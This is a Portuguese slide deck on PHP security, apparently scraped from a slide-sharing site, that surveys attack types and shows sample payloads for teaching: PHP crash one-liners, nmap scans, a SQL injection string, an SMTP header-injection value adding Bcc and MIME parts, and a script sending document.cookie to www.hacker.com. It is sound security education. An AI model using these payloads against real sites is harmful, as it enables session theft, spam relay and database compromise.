37
PHP Security Ricardo Striquer Soares (ricardophp) programabrasil.blogspot.com

Php Security

Embed Size (px)

DESCRIPTION

Ataques, defesas e contra-medidas para assegurar aplicações em PHP

Citation preview

Page 1: Php Security

PHP SecurityRicardo Striquer Soares (ricardophp)programabrasil.blogspot.com

Page 2: Php Security

Tecnicas de ataquesSpam / Phising ScamExploits / BackdoorsBotnetsPackage SniffingScanning / Port scanningSocial EngineringSpywares / Keylogger / ScreenloggerDoS / DDoS DNS PoisoningBrute Force

http://en.wikipedia.org/wiki/Exploit_%28computer_security%29

Page 3: Php Security

Spam

QUT researcher Mohammed AlZomaiisi.qut.edu.au (Australia)

http://www.sciencedaily.com/releases/2007/11/071107091540.htm

"It is worrisome that ... when transactions faced a stealthy attack, 61% of attacks were successful."

Page 4: Php Security

Spywares, Keylogger and Screenlogger

http://en.wikipedia.org/wiki/Spyware

Page 5: Php Security

Botnetshttp://en.wikipedia.org/wiki/Botnets

Page 6: Php Security

Brute Force

http://en.wikipedia.org/wiki/Brute_force_attack

while ( ! ( succeed = try() ) );

Page 7: Php Security

Exploits and Bugs

http://en.wikipedia.org/wiki/Exploit_%28computer_security%29

php -r 'gettext(str_repeat("A",8476509));'

(v5.2.5)

$a=str_repeat("A", 65535);$b=1;$c=str_repeat("A", 65535);chunk_split($a,$b,$c);(v5.2.1)

Page 8: Php Security

Com tudo isto ...Com tudo isto ...

Page 9: Php Security

Scanning and Port scanningnmap -vsSnmap -vP0 (zero)nmap -vsV (exemplo de resultado abaixo)

PORT STATE SERVICE VERSION21/tcp open ftp vsFTPd 2.0.422/tcp open ssh OpenSSH 4.2p1 (protocol 2.0)25/tcp open smtp qmail smtpd80/tcp open http Apache httpd 1.3.34 ((Unix) PHP/4.4.2)

http://en.wikipedia.org/wiki/Nmap

Page 10: Php Security

SocialEngineering

http://en.wikipedia.org/wiki/Social_engineering_%28security%29

“Estou retornando um chamado de suporte técnico e ...”

“Estou fazendo uma pesquisa de satisfação ...”

Page 11: Php Security

DNS Poisoning

http://en.wikipedia.org/wiki/Dns_poisoning

Page 12: Php Security

DoS / DDoSDenial of Service / Distributed DoS

TécnicasICMP Floods => www.powertech.no/smurf Teardrop => OS UpgradePear-to-peer => PI*Application level floods => PI*Nuke => OS Upgrade

http://en.wikipedia.org/wiki/Denial-of-service_attack

Page 13: Php Security

Direções

www.securityfocus.com

thedailywtf.com

www.istf.com.br

www.owasp.org

Page 14: Php Security

Notícias de ontem ...

Apple corrige 45 falhas no Mac OS Xhttp://info.abril.com.br/aberto/infonews/032007/14032007-10.shl

Cavalo-de-tróia rouba dados para venda na webhttp://info.abril.com.br/aberto/infonews/032007/22032007-10.shl

Mozilla corrige nova falha no Firefoxhttp://info.abril.com.br/aberto/infonews/032007/21032007-24.shl

Falha no IE7 facilita ataques de phishing http://info.abril.com.br/aberto/infonews/032007/15032007-8.shl

Page 15: Php Security

Oito em cada dez sites de internet são

inseguros.

Page 16: Php Security

Existia uma história de quatro pessoas, Todomundo, Alguém, Qualquerum e Ninguém ...

Page 17: Php Security

“... Havia um importante trabalho para ser feito e Todomundo tinha certeza que

Alguém faria-o. Qualquerum poderia ter feito mas Ninguém o fez. Agora quando

Alguém fica brabo por causa disto, pois era trabalho de Todomundo, Todomundo pensa

que Qualquerum deveria ter faito, mas Ninguém imaginou que Todomundo não o

havia feito. ...”

Page 18: Php Security

... Ao fim Todomundo culpa Alguém quando Ninguém fez o que Qualquerum poderia ter feito!

Texto do Escritório de Segurança do Departamento de Comercio Norte Americano

Page 19: Php Security

Segurança é um fator cultural, é um dever, é responsabilidade de todos!

Page 20: Php Security

O que deve um parceiro de hospedagem fazer?Controle de acesso

Politica de atualização

Utilizar SPF (Sender Police Framework)

IDS (Intrusion Detection System)

http://www.antispam.br/admin/spf/http://www.rnp.br/newsgen/9909/ids.html

Page 21: Php Security

Projetos interessantes- Google code search Encontrar falhas em sistemas open source

- Hardened Linux / OpenBSD Identificar padrões de configurações

- Hardened PHP Implementar

- GreenSQL Implementar http://code.google.com/

http://hardenedlinux.sourceforge.net/ http://www.hardened-php.net/ http://www.greensql.net/

Page 22: Php Security

O que nós programadores podemos fazer?

Page 23: Php Security

Problemas de códigoInjectionsSession HijackingXSSCSRF ou XSRF

Page 24: Php Security

InjectionsO que é um injection?

Injections mais populares: SQL e SMTP

http://en.wikipedia.org/wiki/Code_injection http://en.wikipedia.org/wiki/SQL_injection

Page 25: Php Security

Injections - SQL (1/3)$db = new db();

$db->SQL = 'SELECT * FROM userWHERE login=”'.$_GET[“login”].'”;

';

$db->Execute();

$_GET[“login”] = “mayke”;

Page 26: Php Security

Injections - SQL (2/3)$db = new db();

$db->SQL = 'SELECT * FROM userWHERE login=”'.$_GET[“login”].'”;

';

$db->Execute();

$_GET[“login”] = “N\” OR TRUE

OR login=\”NONE”;

Page 27: Php Security

Injections - SQL (3/3)If ($db->QuantidadeResultados) {

echo “Deu certo!”;}

If ($db->QuantidadeResultados) {$db->SQL = '

/* Novo comando com outro imput */';

}

Page 28: Php Security

Injections - SMTP (1/4)

mail( $_POST[“Para”],$_POST[“Assunto”],$_POST[“Mensagem”

);

$_POST[“Para”] = “[email protected]”;

$_POST[“Assunto”] = “Ataque de spammers”;

$_POST[“Mensagem”] = “Atacaram nosso site!”;

Page 29: Php Security

01 Dominio destino: tario.com02 Identificando MTAs disponiveis03 Servidor selecionado: mx.tario.com04 Conexao socket estabelecida!05 R: 220 mx01.tario.com ESMTP06 S: 35 bytes07 T: 0.41055202484131 sec08 09 W: EHLO lucremais.com10 S: 21 bytes11 R: 250-mx01.tario.com12 S: 29 bytes13 R: 250-PIPELINING14 S: 14 bytes15 R: 250-8BITMIME16 S: 12 bytes17 R: 250-SIZE 3000000018 S: 17 bytes19 R: 250 AUTH LOGIN PLAIN CRAM-MD520 S: 29 bytes21 T: 0.053061962127686 sec2223 W: MAIL FROM: <[email protected]>24 S: 28 bytes25 R: 250 ok26 S: 6 bytes27 T: 0.81833100318909 sec28 29 W: RCPT TO: <[email protected]>30 S: 36 bytes31 R: 250 ok32 S: 6 bytes33 T: 0.043802976608276 sec

34 W: DATA35 S: 4 bytes36 R: 354 go ahead37 S: 12 bytes38 T: 0.082557916641235 sec39 40 W: MIME-Version: 1.041 X-SenderEngineVersion: 1.042 X-SenderEngineName: Ideias Pontual - iMail43 Return-path: NomeFrom <[email protected]>44 Content-Type: text/plain;45 charset=ISO-8859-146 Reply-to: NomeFrom <[email protected]>47 Date: Sat, 21 Jul 2007 13:53:15 -030048 From: NomeFrom <[email protected]>49 To: NomeTo <[email protected]>50 Subject: Teste de envio texto!51 52 Teste53 .54 S: 379 bytes55 R: 250 ok 1185036797 qp 3196856 S: 26 bytes57 T: 0.20024585723877 sec5859 W: QUIT60 S: 4 bytes61 R: 221 mx01.tario.com62 S: 29 bytes63 T: 0.044206857681274 sec64 65 Tempo total de envio: 1.6655600070953 sec

W=comando; R=resposta; S=Tamanho do texto; T=Milisegundos entre a escruta e a leitura

Injections - SMTP (2/4)

Page 30: Php Security

mail( $_POST[“Para”],$_POST[“Assunto”],$_POST[“Mensagem”

);

$_POST[“Para”] = “[email protected]%0ASubject:Mwahahaha%0ABcc:[email protected]%0AContent-Type:multipart/mixed;%20boundary=frog;%0A--frog%0AContent-Type:text/html%0A%0A<u>HTML%20Message.</u>%0A%0A--frog%0AContent-Type:text/html;name=Security.html;%0AContent-Transfer-Encoding:8bit%0AContent-Disposition:attachment%0A%0A<u>HTML%20File</u>%0A%0A--frog--%0A”;

$_POST[“Assunto”] = “Ataque de spammers”;

$_POST[“Mensagem”] = “Atacaram nosso site!”;

Injections - SMTP (3/4)

Page 31: Php Security

01: From: [email protected]: Subject: Ataque de spammers03: To: [email protected] 04: 05: Atacaram nosso site!06: 07: .

From: [email protected]: Ataque de spammersTo: [email protected]:MwahahahaBcc:[email protected]:multipart/mixed; boundary=frog;--frogContent-Type:text/html

<b>HTML Message.</b>

--frog--Content-Type:text/html;name=Security.html;Content-Transfer-Encoding:8bitContent-Disposition: attachment

<u>HTML File</u>

--frog--

Atacaram nosso site!

.

Injections - SMTP (4/4)

Page 32: Php Security

Session Hijacking

Session fixation (bookmark)

Sedejacking (sniffing)

XSS e CSRF

http://en.wikipedia.org/wiki/Session_hijacking

Page 33: Php Security

XSS

$_POST[“msg'] = '<h4><font color=red>Este site foi hackeado!</font></h4>'

Cross Site Scripting

Também referenciado como CSS

http://en.wikipedia.org/wiki/Cross_site_scripting

Page 34: Php Security

CSRF (ou XSRF)

<script> window.location= 'http://www.hacker.com?' + document.cookie</script>

Cross Site Request Forgering

http://en.wikipedia.org/wiki/Cross-site_request_forgery

Page 35: Php Security

* I M P O R T A N T E *$_GET

$_POST

$_SERVER

$_FILES

$_ENV

$_COOKIES

Page 36: Php Security

Segurança é um fator cultural, é um dever, é responsabilidade de todos!

Page 37: Php Security

Fim!

Agradecimentos

ProPHPTempo Realidéias.ual

Sites úteis

www.php.net/security www.php-security.orgblog.php-security.orgphpsec.org www.phpsecure.infoprogramabrasil.blogspot.com